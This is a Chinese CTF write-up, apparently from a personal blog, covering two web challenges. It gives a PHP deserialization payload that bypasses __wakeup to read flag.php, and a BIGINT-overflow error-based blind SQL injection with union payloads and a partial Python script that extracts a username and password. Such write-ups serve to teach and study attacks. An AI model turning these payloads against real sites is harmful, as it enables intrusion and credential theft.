记录一道web题目
http://95d0deaf1ade4dada96134a916bce5e1ab4dfa4227fb4400.changame.ichunqiu.com/
php协议读取文件
读取到index.php
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
hint.php
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>
看了一下代码。思路大概是引用hint.php 反序列化 hint.php 那个函数然后改改就ok
反序列化函数
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
$this->token = &$this->token_flag;
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
$flag = new Flag("flag.php");
$handle = new Handle($flag);
echo serialize($handle)."\n";
?>
得到反序列化字符串
O:6:”Handle”:1:{s:14:”Handlehandle”;O:4:”Flag”:3:{s:4:”file”;s:8:”flag.php”;s:5:”token”;s:32:”0dbcf39d413231953d442f2f17f80cd5″;s:10:”token_flag”;R:4;}}
看到调用了一下__wakeup 函数。绕过这个函数的方法:
得出:
O:6:”Handle”:2:{s:14:”Handlehandle”;O:4:”Flag”:3:{s:4:”file”;s:8:”flag.php”;s:5:”token”;s:32:”0dbcf39d413231953d442f2f17f80cd5″;s:10:”token_flag”;R:4;}}
private的参数被反序列化后变成 \00test\00test1 public的参数变成 test2 protected的参数变成 \00*\00test3
所以 Handlehandle 中间需要%00
变成了如下:
O:6:”Handle”:2:{s:14:”%00Handle%00handle”;O:4:”Flag”:3:{s:4:”file”;s:8:”flag.php”;s:5:”token”;s:32:”0dbcf39d413231953d442f2f17f80cd5″;s:10:”token_flag”;R:4;}}
/index.php?file=hint.php&payload=O:6:”Handle”:2:{s:14:”%00Handle%00handle”;O:4:”Flag”:3:{s:4:”file”;s:8:”flag.php”;s:5:”token”;0dbcf39d413231953d442f2f17f80cd5;s:10:”token_flag”;R:4;}}
发现还有一个url 没有绕过
变成了如下的url
第二道题目:
大概的思路就是
mysql> select 1+9223372036854775807
-> ;
ERROR 1690 (22003): BIGINT value is out of range in '(1 + 9223372036854775807)'
mysql> select 9223372036854775807
-> ;
+---------------------+
| 9223372036854775807 |
+---------------------+
| 9223372036854775807 |
+---------------------+
1 row in set (0.00 sec)
mysql>
首先确定了数据库当前表为1个字段
username=1′ union select 1 %23&password=1111′—
为登陆失败
username=1′ union select 1,2 %23&password=1111′—
的时候登陆错误
那么就确定了数据库为当前表为1 个字段。
然后确定数据库的当前名称
经过测试为3个字符
例如这样的
select * from liang where username='1' union select ascii(substr((select database()),1,1))+9223372036854775806
的时候登陆失败
username=1′ union select ascii(substr((select database()),4,1))%2b9223372036854775807 %23&password=1111′—
username=1′ union select ascii(substr((select database()),3,1))%2b9223372036854775807 %23&password=1111′—
的时候为数据库报错。那么确定了数据库为3个字符串长度
写了一个一半的脚本。然后服务器就挂了
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author: Ben
# Time : 2018/9/29/029 23:23
import requests
db=''' 1' union select ascii(substr((select database()),4,1))%2b9223372036854775807 %23'''
#print(username)
def check(db):
url='http://39.106.224.151:52105'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"}
data={"username":db,"password":"1"}
re2=requests.post(url=url,headers=headers,data=data)
import re
print(re2.text)
data=str(re2.text)
ret2 = "</p><p style='color: red'>.*</p>"
dat2=re.findall(ret2,data)
liang=dat2[0]
list_data=(liang.replace("</p><p style='color: red'>",'').replace("</p>",''))
data_16=list_data.encode('utf-8')
if data_16==b"\xc3\xa7\xc2\x99\xc2\xbb\xc3\xa9\xc2\x99\xc2\x86\xc3\xa5\xc2\xa4\xc2\xb1\xc3\xa8\xc2\xb4\xc2\xa5\xc3\xaf\xc2\xbc\xc2\x81":
print('登陆失败')
return 1
else:
print("数据库执行错误")
return 2
check(db)
得到数据库为CTF
然后继续fuzz 发现有一张user 表, 字段有username passwd
获取账号
def get_usernam():
ret=[]
for i in range(1, 4):
for i2 in numbers_letters:
i2=ord(i2)
db = '''1' union select ascii(substr((select username from user),%s,1)) +(9223372036854775807-%s) #'''%(str(i),str(i2))
chekc=check(db)
print(chekc)
if chekc==1:
ccc=i2-1
db = '''1' union select ascii(substr((select username from user),%s,1)) +(9223372036854775807-%s) #''' % (
str(i), str(ccc))
chekc = check(db)
if chekc==2:
print("数据库第%s个字符串为%s"%(i,chr(i2)))
ret.append(chr(i2))
if i==3:
return ret
用户名为admin
获取数据库
def get_usernam():
ret=[]
for i in range(1, 4):
for i2 in numbers_letters:
i2=ord(i2)
db = '''1' union select ascii(substr((select password from user),%s,1)) +(9223372036854775807-%s) #'''%(str(i),str(i2))
chekc=check(db)
print(chekc)
if chekc==1:
ccc=i2-1
db = '''1' union select ascii(substr((select password from user),%s,1)) +(9223372036854775807-%s) #''' % (
str(i), str(ccc))
chekc = check(db)
if chekc==2:
print("数据库第%s个字符串为%s"%(i,chr(i2)))
ret.append(chr(i2))
if i==3:
return ret
得到的密码好像不完整。登陆不进去。应该是有特殊字符之类的
修改了一下
numbers_letters+'!@#$%^&*()_+/<>+.[然后得到密码 F1AG@1s-at_/fll1llag_h3r3。登陆之后发现是需要读取的。然后就没有成功去读到flag最后还是看了一下官方的WPhttps://www.ctfwp.com/articals/2019national.html

